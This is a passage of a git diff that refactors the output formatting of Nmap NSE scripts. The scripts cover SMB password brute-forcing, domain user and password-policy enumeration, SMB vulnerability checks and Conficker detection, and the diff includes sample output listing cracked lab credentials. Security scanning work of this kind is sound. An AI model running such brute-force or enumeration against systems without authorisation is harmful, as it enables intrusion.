+-- | | /icons/: Icons and images
+-- | | /images/: Icons and images
+-- | | /robots.txt: Robots file
+-- | | /sw/auth/login.aspx: Citrix WebTop
+-- | | /images/outlook.jpg: Outlook Web Access
+-- | | /nfservlets/servlet/SPSRouterServlet/: netForensics
+-- |_ |_ /nfservlets/servlet/SPSRouterServlet/: netForensics
--
--
--@args displayall Set to '1' or 'true' to display all status codes that may indicate a valid page, not just
@@ -223,7 +228,7 @@ end
action = function(host, port)
- local response = " \n"
+ local response = {}
-- Add URLs from external files
local URLs = get_fingerprints()
@@ -231,11 +236,7 @@ action = function(host, port)
-- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. result_404
- else
- return nil
- end
+ return stdnse.format_output(false, result_404)
end
-- Check if we can use HEAD requests
@@ -245,11 +246,7 @@ action = function(host, port)
if(use_head == false) then
local result, err = http.can_use_get(host, port)
if(result == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. err
- else
- return nil
- end
+ return stdnse.format_output(false, err)
end
end
@@ -303,11 +300,7 @@ action = function(host, port)
-- Check for http.pipeline error
if(results == nil) then
stdnse.print_debug(1, "http-enum.nse: http.pipeline returned nil")
- if(nmap.debugging() > 0) then
- return "ERROR: http.pipeline returned nil"
- else
- return nil
- end
+ return stdnse.format_output(false, "http.pipeline returned nil")
end
for i, data in pairs(results) do
@@ -325,15 +318,11 @@ action = function(host, port)
end
stdnse.print_debug("Found a valid page! (%s)%s", description, status)
-
- response = response .. string.format("%s%s\n", description, status)
+
+ table.insert(response, string.format("%s%s", description, status))
end
end
end
- if string.len(response) > 2 then
- return response
- end
-
- return nil
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/http-headers.nse b/scripts/http-headers.nse
index 5fe748c55..b79937eea 100644
--- a/scripts/http-headers.nse
+++ b/scripts/http-headers.nse
@@ -7,17 +7,21 @@ Performs a GET request for the root folder ("/") of a web server and displays th
-- Interesting ports on scanme.nmap.org (64.13.134.52):
-- PORT STATE SERVICE
-- 80/tcp open http syn-ack
--- | http-headers: (HEAD used)
--- | HTTP/1.1 200 OK
--- | Date: Thu, 27 Aug 2009 15:46:39 GMT
--- | Server: Apache/2.2.11 (Unix) PHP/5.2.8
--- | Connection: close
--- |_ Content-Type: text/html;charset=ISO-8859-1
+-- | http-headers:
+-- | | HTTP/1.1 200 OK
+-- | | Date: Tue, 10 Nov 2009 01:25:11 GMT
+-- | | Server: Apache/2.2.9 (Unix) PHP/5.2.10
+-- | | Last-Modified: Sat, 11 Oct 2008 15:22:21 GMT
+-- | | ETag: "90013-e3d-458fbd508c540"
+-- | | Accept-Ranges: bytes
+-- | | Content-Length: 3645
+-- | | Connection: close
+-- | | Content-Type: text/html
+-- |_ |_ (Request type: HEAD)
--
--@args path The path to request, such as '/index.php'. Default: '/'.
--@args useget Set to force GET requests instead of HEAD.
-
author = "Ron Bowes "
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -81,11 +85,11 @@ action = function(host, port)
end
end
- local response = "(" .. request_type .. " used)\n"
- for _, header in ipairs(result.rawheader) do
- response = response .. header .. "\n"
- end
+ table.insert(result.rawheader, "(Request type: " .. request_type .. ")")
+-- for _, header in ipairs(result.rawheader) do
+-- response = response .. header .. "\n"
+-- end
- return response
+ return stdnse.format_output(true, result.rawheader)
end
diff --git a/scripts/http-malware-host.nse b/scripts/http-malware-host.nse
index 0b5b61861..ba4de6ab1 100644
--- a/scripts/http-malware-host.nse
+++ b/scripts/http-malware-host.nse
@@ -14,10 +14,11 @@ Thanks to Denis from the above link for finding this technique!
-- Interesting ports on www.sopharma.bg (84.242.167.49):
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
--- |_ http-infected: Host appears to be clean
+-- |_ http-malware-host: Host appears to be clean
-- 8080/tcp open http-proxy syn-ack
--- | http-malware-host: Host appears to be infected (/ts/in.cgi?open2 redirects to http://last-another-life.ru:8080/index.php)
--- |_ See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
+-- | http-malware-host:
+-- | | Host appears to be infected (/ts/in.cgi?open2 redirects to http://last-another-life.ru:8080/index.php)
+-- |_ |_ See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
--
author = "Ron Bowes "
@@ -45,46 +46,40 @@ portrule = function(host, port)
return true
end
-local function go(host, port)
+action = function(host, port)
-- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then
- return false, "Couldn't identify 404 message: " .. result_404
+ return stdnse.format_output(false, "Couldn't identify 404 message: " .. result_404)
end
-- If the 404 result is a 302, we're going to have trouble
if(result_404 == 302) then
- return false, "Unknown pages return a 302 response; unable to check"
+ return stdnse.format_output(false, "Unknown pages return a 302 response; unable to check")
end
-- Perform a GET request on the file
result = http.get_url("http://" .. host.ip .. ":" .. port.number .. "/ts/in.cgi?open2")
- if(result == nil) then
- return false, "Couldn't perform GET request"
+ if(not(result)) then
+ return stdnse.format_output(false, "Couldn't perform GET request")
end
if(result.status == 302) then
+ local response = {}
if(result.header.location) then
- return true, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)\nSee: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/", result.header.location)
+ table.insert(response, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)", result.header.location))
else
- return true, string.format("Host appears to be infected (/ts/in.cgi?open2 return a redirect)\nSee: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/")
+ table.insert(response, "Host appears to be infected (/ts/in.cgi?open2 return a redirect")
end
+ table.insert(response, "See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/")
+ return stdnse.format_output(true, response)
end
- return true, nil
-end
-
-action = function(host, port)
- local status, result = go(host, port)
-
- if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. result
- else
- return nil
- end
+ -- Not infected
+ if(nmap.verbosity() > 0) then
+ return "Host appears to be clean"
+ else
+ return nil
end
-
- return result
end
diff --git a/scripts/nbstat.nse b/scripts/nbstat.nse
index e87ff448b..c69c5f1aa 100644
--- a/scripts/nbstat.nse
+++ b/scripts/nbstat.nse
@@ -11,19 +11,20 @@ owns.
-- sudo nmap -sU --script nbstat.nse -p137 \n
--
-- @output
--- (no verbose)\n
--- |_ nbstat: NetBIOS name: TST, NetBIOS user: RON, NetBIOS MAC: 00:0c:29:f9:d9:28\n
---\n
--- (verbose)\n
--- | nbstat: NetBIOS name: TST, NetBIOS user: RON, NetBIOS MAC: 00:0c:29:f9:d9:28\n
--- | Name: TST<00> Flags: \n
--- | Name: TST<20> Flags: \n
--- | Name: WORKGROUP<00> Flags: \n
--- | Name: TST<03> Flags: \n
--- | Name: WORKGROUP<1e> Flags: \n
--- | Name: RON<03> Flags: \n
--- | Name: WORKGROUP<1d> Flags: \n
--- |_ Name: \x01\x02__MSBROWSE__\x02<01> Flags: \n
+-- Host script results:
+-- |_ nbstat: NetBIOS name: WINDOWS2003, NetBIOS user: , NetBIOS MAC: 00:0c:29:c6:da:f5
+--
+-- Host script results:
+-- | nbstat:
+-- | | NetBIOS name: WINDOWS2003, NetBIOS user: , NetBIOS MAC: 00:0c:29:c6:da:f5
+-- | | Names
+-- | | | WINDOWS2003<00> Flags:
+-- | | | WINDOWS2003<20> Flags:
+-- | | | SKULLSECURITY<00> Flags:
+-- | | | SKULLSECURITY<1e> Flags:
+-- | | | SKULLSECURITY<1d> Flags:
+-- |_ |_ |_ \x01\x02__MSBROWSE__\x02<01> Flags:
+
author = "Brandon Enright , Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -67,7 +68,7 @@ action = function(host)
local names, statistics
local server_name, user_name
local mac
- local result = ""
+ local response = {}
-- Get the list of NetBIOS names
status, names, statistics = netbios.do_nbstat(host.ip)
@@ -75,19 +76,19 @@ action = function(host)
status, names, statistics = netbios.do_nbstat(host.ip)
status, names, statistics = netbios.do_nbstat(host.ip)
if(status == false) then
- return "ERROR: " .. names
+ return stdnse.format_output(false, names)
end
-- Get the server name
status, server_name = netbios.get_server_name(host.ip, names)
if(status == false) then
- return "ERROR: " .. server_name
+ return stdnse.format_output(false, server_name)
end
-- Get the logged in user
status, user_name = netbios.get_user_name(host.ip, names)
if(status == false) then
- return "ERROR: " .. user_name
+ return stdnse.format_output(false, user_name)
end
-- Format the Mac address in the standard way
@@ -106,27 +107,40 @@ action = function(host)
user_name = ""
end
- result = result .. string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac)
-- If verbosity is set, dump the whole list of names
if(nmap.verbosity() >= 1) then
+ table.insert(response, string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac))
+
+ local names_output = {}
+ names_output['name'] = "Names"
for i = 1, #names, 1 do
local padding = string.rep(" ", 17 - string.len(names[i]['name']))
local flags_str = netbios.flags_to_string(names[i]['flags'])
- result = result .. string.format("Name: %s<%02x>%sFlags: %s\n", names[i]['name'], names[i]['suffix'], padding, flags_str)
+ table.insert(names_output, string.format("%s<%02x>%sFlags: %s\n", names[i]['name'], names[i]['suffix'], padding, flags_str))
end
+ table.insert(response, names_output)
+
-- If super verbosity is set, print out the full statistics
if(nmap.verbosity() >= 2) then
- result = result .. "Statistics: "
+ local statistics_output = {}
+ local statistics_string = ''
+ statistics_output['name'] = "Statistics"
for i = 1, #statistics, 1 do
- result = result .. string.format("%02x ", statistics:byte(i))
+ statistics_string = statistics_string .. string.format("%02x ", statistics:byte(i))
+ if(i ~= #statistics and ((i) % 16) == 0) then
+ table.insert(statistics_output, statistics_string)
+ statistics_string = ''
+ end
end
- result = result .. "\n"
+ table.insert(statistics_output, statistics_string)
+ table.insert(response, statistics_output)
end
+
+ return stdnse.format_output(true, response)
+ else
+ return string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac)
end
-
- return result
-
end
diff --git a/scripts/p2p-conficker.nse b/scripts/p2p-conficker.nse
index 82e2dffe3..75b317d2d 100644
--- a/scripts/p2p-conficker.nse
+++ b/scripts/p2p-conficker.nse
@@ -530,10 +530,10 @@ local function conficker_check(ip, port, protocol)
return true, "Received valid data", result
end
-local function go(host)
+action = function(host)
local tcp_ports = {}
local udp_ports = {}
- local response = " \n"
+ local response = {}
local i
local port, protocol
local count = 0
@@ -553,10 +553,6 @@ local function go(host)
udp_ports[i] = true
end
end
-
--- if((i % 10) == 0) then
--- io.write(i .. "\n")
--- end
end
end
@@ -582,7 +578,7 @@ local function go(host)
udp_ports[generated_ports[2]] = true
udp_ports[generated_ports[4]] = true
- response = string.format("Checking for Conficker.C or higher...\n")
+ table.insert(response, string.format("Checking for Conficker.C or higher..."))
-- Check the TCP ports
for port in pairs(tcp_ports) do
@@ -592,10 +588,10 @@ local function go(host)
checks = checks + 1
if(status == true) then
- response = response .. string.format("| Check %d (port %d/%s): INFECTED (%s)\n", checks, port, "tcp", reason)
+ table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason))
count = count + 1
else
- response = response .. string.format("| Check %d (port %d/%s): CLEAN (%s)\n", checks, port, "tcp", reason)
+ table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason))
end
end
@@ -607,43 +603,24 @@ local function go(host)
checks = checks + 1
if(status == true) then
- response = response .. string.format("| Check %d (port %d/%s): INFECTED (%s)\n", checks, port, "udp", reason)
+ table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason))
count = count + 1
else
- response = response .. string.format("| Check %d (port %d/%s): CLEAN (%s)\n", checks, port, "udp", reason)
+ table.insert(response, string.format("| Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason))
end
end
- -- Remove the response if verbose is turned off
- if(count == 0 and nmap.verbosity() < 2) then
- response = ""
+ -- Check how many INFECTED hits we got
+ if(count == 0) then
+ if (nmap.verbosity() > 1) then
+ table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks))
+ else
+ response = ''
+ end
else
- response = response .. "|_ "
+ table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks))
end
-
- -- Check how many INFECTED hits we got
- if(count == 0) then
- if (nmap.verbosity() > 1) then
- response = response .. string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked\n", count, checks)
- else
- response = nil
- end
- else
- response = response .. string.format("%d/%d checks are positive: Host is likely INFECTED\n", count, checks)
- end
-
- return true, response
+ return true, stdnse.format_output(true, response)
end
-action = function(host)
- local status, result = go(host)
-
- if(status == false) then
- return "ERROR: " .. result
- else
- return result
- end
-end
-
-
diff --git a/scripts/script.db b/scripts/script.db
index f2f845d1b..8600cf24e 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -43,13 +43,13 @@ Entry { filename = "skypev2-version.nse", categories = { "version", } }
Entry { filename = "smb-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "smb-enum-groups.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-shares.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-users.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-os-discovery.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "smb-psexec.nse", categories = { "intrusive", } }
-Entry { filename = "smb-pwdump.nse", categories = { "intrusive", } }
Entry { filename = "smb-security-mode.nse", categories = { "discovery", "safe", } }
Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } }
diff --git a/scripts/smb-brute.nse b/scripts/smb-brute.nse
index 08210d7e4..18deb1541 100644
--- a/scripts/smb-brute.nse
+++ b/scripts/smb-brute.nse
@@ -67,16 +67,16 @@ determined with a fairly efficient bruteforce. For example, if the actual passwo
--@output
-- Host script results:
-- | smb-brute:
--- | bad name:test => Login was successful
--- | consoletest:test => Password was correct, but user can't log in without changing it
--- | guest: => Password was correct, but user's account is disabled
--- | mixcase:BuTTeRfLY1 => Login was successful
--- | test:password1 => Login was successful
--- | this:password => Login was successful
--- | thisisaverylong:password => Login was successful
--- | thisisaverylongname:password => Login was successful
--- | thisisaverylongnamev:password => Login was successful
--- |_ web:TeSt => Password was correct, but user's account is disabled
+-- | | bad name:test => Login was successful
+-- | | consoletest:test => Password was correct, but user can't log in without changing it
+-- | | guest: => Password was correct, but user's account is disabled
+-- | | mixcase:BuTTeRfLY1 => Login was successful
+-- | | test:password1 => Login was successful
+-- | | this:password => Login was successful
+-- | | thisisaverylong:password => Login was successful
+-- | | thisisaverylongname:password => Login was successful
+-- | | thisisaverylongnamev:password => Login was successful
+-- |_ |_ web:TeSt => Password was correct, but user's account is disabled
--
-- @args smblockout Unless this is set to '1' or 'true', the script won't continue if it
-- locks out an account or thinks it will lock out an account.
@@ -1001,7 +1001,7 @@ action = function(host, port)
-- TRACEBACK[coroutine.running()] = true;
local status, result
- local response = " \n"
+ local response = {}
local username
local usernames = {}
@@ -1010,11 +1010,7 @@ action = function(host, port)
status, result, locked_result = go(host)
if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. result
- else
- return nil
- end
+ return stdnse.format_output(false, result)
end
-- Put the usernames in their own table
@@ -1027,11 +1023,11 @@ action = function(host, port)
-- Display the usernames
if(#usernames == 0) then
- response = "No accounts found\n"
+ table.insert(response, "No accounts found")
else
for i=1, #usernames, 1 do
local username = usernames[i]
- response = response .. format_result(username, result[username]['password'], result[username]['result']) .. "\n"
+ table.insert(response, format_result(username, result[username]['password'], result[username]['result']))
end
end
@@ -1044,9 +1040,9 @@ action = function(host, port)
table.sort(locked)
-- Display the list
- response = response .. string.format("Locked accounts found: %s\n", stdnse.strjoin(", ", locked))
+ table.insert(response, string.format("Locked accounts found: %s", stdnse.strjoin(", ", locked)))
end
- return response
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/smb-check-vulns.nse b/scripts/smb-check-vulns.nse
index d0ab8e799..9b56456b8 100644
--- a/scripts/smb-check-vulns.nse
+++ b/scripts/smb-check-vulns.nse
@@ -63,10 +63,10 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]).
--@output
-- Host script results:
-- | smb-check-vulns:
--- | MS08-067: FIXED
--- | Conficker: Likely INFECTED
--- | regsvc DoS: FIXED
--- |_ SMBv2 DoS (CVE-2009-3103): VULNERABLE
+-- | | MS08-067: NOT VULNERABLE
+-- | | Conficker: Likely CLEAN
+-- | | regsvc DoS: NOT VULNERABLE
+-- |_ |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
--
-- @args unsafe If set, this script will run checks that, if the system isn't
-- patched, are basically guaranteed to crash something. Remember that
@@ -407,9 +407,9 @@ local function get_response(check, message, description, minimum_verbosity, mini
-- Check if we have appropriate verbosity/debug
if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then
if(description == nil or description == '') then
- return string.format("%s: %s\n", check, message)
+ return string.format("%s: %s", check, message)
else
- return string.format("%s: %s (%s)\n", check, message, description)
+ return string.format("%s: %s (%s)", check, message, description)
end
else
return ''
@@ -419,23 +419,23 @@ end
action = function(host)
local status, result, message
- local response = ""
+ local response = {}
-- Check for ms08-067
status, result, message = check_ms08_067(host)
if(status == false) then
- response = response .. get_response("MS08-067", "ERROR", result, 0, 1)
+ table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
- response = response .. get_response("MS08-067", "VULNERABLE", nil, 0)
+ table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0))
elseif(result == UNKNOWN) then
- response = response .. get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1) -- TODO: this isn't very accurate
+ table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate
elseif(result == NOTRUN) then
- response = response .. get_response("MS08-067", "CHECK DISABLED", "remove 'safe=1' argument to run", 1)
+ table.insert(response, get_response("MS08-067", "CHECK DISABLED", "remove 'safe=1' argument to run", 1))
elseif(result == INFECTED) then
- response = response .. get_response("MS08-067", "FIXED", "likely by Conficker", 0)
+ table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0))
else
- response = response .. get_response("MS08-067", "FIXED", nil, 1)
+ table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
end
end
@@ -443,55 +443,48 @@ action = function(host)
status, result = check_conficker(host)
if(status == false) then
local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
- response = response .. get_response("Conficker", msg, nil, 1) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
+ table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
else
if(result == CLEAN) then
- response = response .. get_response("Conficker", "Likely CLEAN", nil, 1)
+ table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
elseif(result == INFECTED) then
- response = response .. get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0)
+ table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
elseif(result == INFECTED2) then
- response = response .. get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0)
+ table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
else
- response = response .. get_response("Conficker", "UNKNOWN", result, 0, 1)
+ table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
end
end
-- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
- response = response .. get_response("regsvc DoS", "ERROR", result, 0, 1)
+ table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
- response = response .. get_response("regsvc DoS", "VULNERABLE", nil, 0)
+ table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
- response = response .. get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)
+ table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
- response = response .. get_response("regsvc DoS", "FIXED", nil, 1)
+ table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
end
end
-- Check for SMBv2 vulnerablity
status, result = check_smbv2_dos(host)
if(status == false) then
- response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1)
+ table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
- response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0)
+ table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
- response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)
+ table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
- response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "FIXED", nil, 1)
+ table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
end
end
- -- If we got a response, add a linefeed
- if(response ~= "") then
- response = " \n" .. response
- else
- response = nil
- end
-
- return response
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/smb-enum-domains.nse b/scripts/smb-enum-domains.nse
index 10eb854fe..38ecd78fc 100644
--- a/scripts/smb-enum-domains.nse
+++ b/scripts/smb-enum-domains.nse
@@ -32,26 +32,20 @@ After the initial bind to SAMR, the sequence of calls is:
--
--@output
-- Host script results:
--- | smb-enum-domains:
--- | Domain: LOCALSYSTEM
--- | |_ SID: S-1-5-21-2956463495-2656032972-1271678565
--- | |_ Users: Administrator, Guest, SUPPORT_388945a0
--- | |_ Creation time: 2007-11-26 15:24:04
--- | |_ Passwords: min length: 11 characters; min age: 5 days; max age: 63 days
--- | |_ Password lockout: 3 attempts in under 15 minutes will lock the account until manually reset
--- | |_ Password history : 5 passwords
--- | |_ Password properties:
--- | |_ Password complexity requirements exist
--- | |_ Administrator account cannot be locked out
--- | Domain: Builtin
--- | |_ SID: S-1-5-32
--- | |_ Users:
--- | |_ Creation time: 2007-11-26 15:24:04
--- | |_ Passwords: min length: n/a; min age: n/a; max age: 42 days
--- | |_ Account lockout disabled
--- | |_ Password properties:
--- | |_ Password complexity requirements do not exist
--- |_ |_ Administrator account cannot be locked out
+-- | smb-enum-domains:
+-- | | WINDOWS2003 (S-1-5-21-4146152237-3614947961-1862238888)
+-- | | | Groups: HelpServicesGroup, IIS_WPG, TelnetClients
+-- | | | Users: Administrator, ASPNET, Guest, IUSR_WINDOWS2003, IWAM_WINDOWS2003, ron, SUPPORT_388945a0, test
+-- | | | Creation time: 2009-10-17 12:46:43
+-- | | | Passwords: min length: n/a; min age: n/a; max age: 42 days; history: n/a
+-- | | |_ Account lockout disabled
+-- | | Builtin (S-1-5-32)
+-- | | | Groups: Administrators, Backup Operators, Distributed COM Users, Guests, Network Configuration Operators, Performance Log Users, Performance Monitor Users, Power Users, Print Operators, Remote Desktop Users, Replicator, Users
+-- | | | Users: n/a
+-- | | | Creation time: 2009-10-17 12:46:43
+-- | | | Passwords: min length: n/a; min age: n/a; max age: 42 days; history: n/a
+-- |_ |_ |_ Account lockout disabled
+--
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -63,46 +57,191 @@ require 'msrpc'
require 'smb'
require 'stdnse'
+-- TODO: This script needs some love...
+
hostrule = function(host)
return smb.get_port(host) ~= nil
end
+local function get_domain_info(smbstate, domain)
+ local sid
+ local domain_handle
+
+ -- Call LookupDomain()
+ status, lookupdomain_result = msrpc.samr_lookupdomain(smbstate, connect_handle, domain)
+ if(status == false) then
+ return false, "Couldn't look up the domain: " .. lookupdomain_result
+ end
+
+ -- Save the sid
+ sid = lookupdomain_result['sid']
+
+ -- Call OpenDomain()
+ status, opendomain_result = msrpc.samr_opendomain(smbstate, connect_handle, sid)
+ if(status == false) then
+ return false, opendomain_result
+ end
+
+ -- Save the domain handle
+ domain_handle = opendomain_result['domain_handle']
+
+ -- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return
+ -- the most useful information.
+ status_1, querydomaininfo2_result_1 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 1)
+ status_8, querydomaininfo2_result_8 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 8)
+ status_12, querydomaininfo2_result_12 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 12)
+
+ if(status_1 == false) then
+ return false, querydomaininfo2_result_1
+ end
+
+ if(status_8 == false) then
+ return false, querydomaininfo2_result_8
+ end
+
+ if(status_12 == false) then
+ return false, thenquerydomaininfo2_result_12
+ end
+
+ -- Call EnumDomainUsers() to get users
+ status, enumdomainusers_result = msrpc.samr_enumdomainusers(smbstate, domain_handle)
+ if(status == false) then
+ return false, enumdomainusers_result
+ end
+
+ -- Call EnumDomainAliases() to get groups
+ local status, enumdomaingroups_result = msrpc.samr_enumdomainaliases(smbstate, domain_handle)
+ if(status == false) then
+ return false, enumdomaingroups_result
+ end
+
+ -- Close the domain handle
+ msrpc.samr_close(smbstate, domain_handle)
+
+ -- Create a list of groups
+ local groups = {}
+ if(enumdomaingroups_result['sam'] ~= nil and enumdomaingroups_result['sam']['entries'] ~= nil) then
+ for _, group in ipairs(enumdomaingroups_result['sam']['entries']) do
+ table.insert(groups, group.name)
+ end
+ end
+
+ -- Create the list of users
+ local names = {}
+ if(enumdomainusers_result['sam'] ~= nil and enumdomainusers_result['sam']['entries'] ~= nil) then
+ for _, name in ipairs(enumdomainusers_result['sam']['entries']) do
+ table.insert(names, name.name)
+ end
+ end
+
+ -- Our output table
+ local response = {}
+
+ -- Finally, start filling in the response!
+ response['name'] = string.format("%s (%s)", domain, sid)
+
+ -- Add the list of groups as a comma-separated list
+ if(groups and (#groups > 0)) then
+ table.insert(response, string.format("Groups: %s", stdnse.strjoin(", ", groups)))
+ else
+ table.insert(response, string.format("Groups: n/a"))
+ end
+
+ -- Add the list of users as a comma-separated list
+ if(names and (#names > 0)) then
+ table.insert(response, string.format("Users: %s", stdnse.strjoin(", ", names)))
+ else
+ table.insert(response, string.format("Users: n/a"))
+ end
+
+
+
+ if(querydomaininfo2_result_8['info']['domain_create_time'] ~= 0) then
+ table.insert(response, string.format("Creation time: %s", os.date("%Y-%m-%d %H:%M:%S", querydomaininfo2_result_8['info']['domain_create_time'])))
+ end
+
+ -- Password characteristics
+ local min_password_length = querydomaininfo2_result_1['info']['min_password_length']
+ local max_password_age = querydomaininfo2_result_1['info']['max_password_age'] / 60 / 60 / 24
+ local min_password_age = querydomaininfo2_result_1['info']['min_password_age'] / 60 / 60 / 24
+ local password_history = querydomaininfo2_result_1['info']['password_history_length']
+
+ if(min_password_length > 0) then
+ min_password_length = string.format("%d characters", min_password_length)
+ else
+ min_password_length = "n/a"
+ end
+
+ if(max_password_age > 0 and max_password_age < 5000) then
+ max_password_age = string.format("%d days", max_password_age)
+ else
+ max_password_age = "n/a"
+ end
+
+ if(min_password_age > 0) then
+ min_password_age = string.format("%d days", min_password_age)
+ else
+ min_password_age = "n/a"
+ end
+
+ if(password_history > 0) then
+ password_history = string.format("%d passwords", password_history)
+ else
+ password_history = "n/a"
+ end
+
+ table.insert(response, string.format("Passwords: min length: %s; min age: %s; max age: %s; history: %s", min_password_length, min_password_age, max_password_age, password_history))
+
+ local lockout_duration = querydomaininfo2_result_12['info']['lockout_duration']
+ if(lockout_duration < 0) then
+ lockout_duration = string.format("for %d minutes", querydomaininfo2_result_12['info']['lockout_duration'])
+ else
+ lockout_duration = "until manually reset"
+ end
+
+ if(querydomaininfo2_result_12['info']['lockout_threshold'] > 0) then
+ table.insert(response, string.format("Password lockout: %d attempts in under %d minutes will lock the account %s", querydomaininfo2_result_12['info']['lockout_threshold'], querydomaininfo2_result_12['info']['lockout_window'] / 60, lockout_duration))
+ else
+ table.insert(response, string.format("Account lockout disabled"))
+ end
+
+ local password_properties = querydomaininfo2_result_1['info']['password_properties']
+
+ if(#password_properties > 0) then
+ local password_properties_response = {}
+ password_properties_response['name'] = "Password properties:"
+ for j = 1, #password_properties, 1 do
+ table.insert(password_properties_response, msrpc.samr_PasswordProperties_tostr(password_properties[j]))
+ end
+ table.insert(response, password_properties_response)
+ end
+
+ return true, response
+end
+
+
action = function(host)
- local response = " \n"
+ local response = {}
local status, smbstate
local i, j
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH)
if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. smbstate
- else
- return nil
- end
+ return stdnse.format_output(false, smbstate)
end
-- Bind to SAMR service
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
if(status == false) then
- msrpc.stop_smb(smbstate)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. bind_result
- else
- return nil
- end
+ return stdnse.format_output(false, bind_result)
end
-- Call connect4()
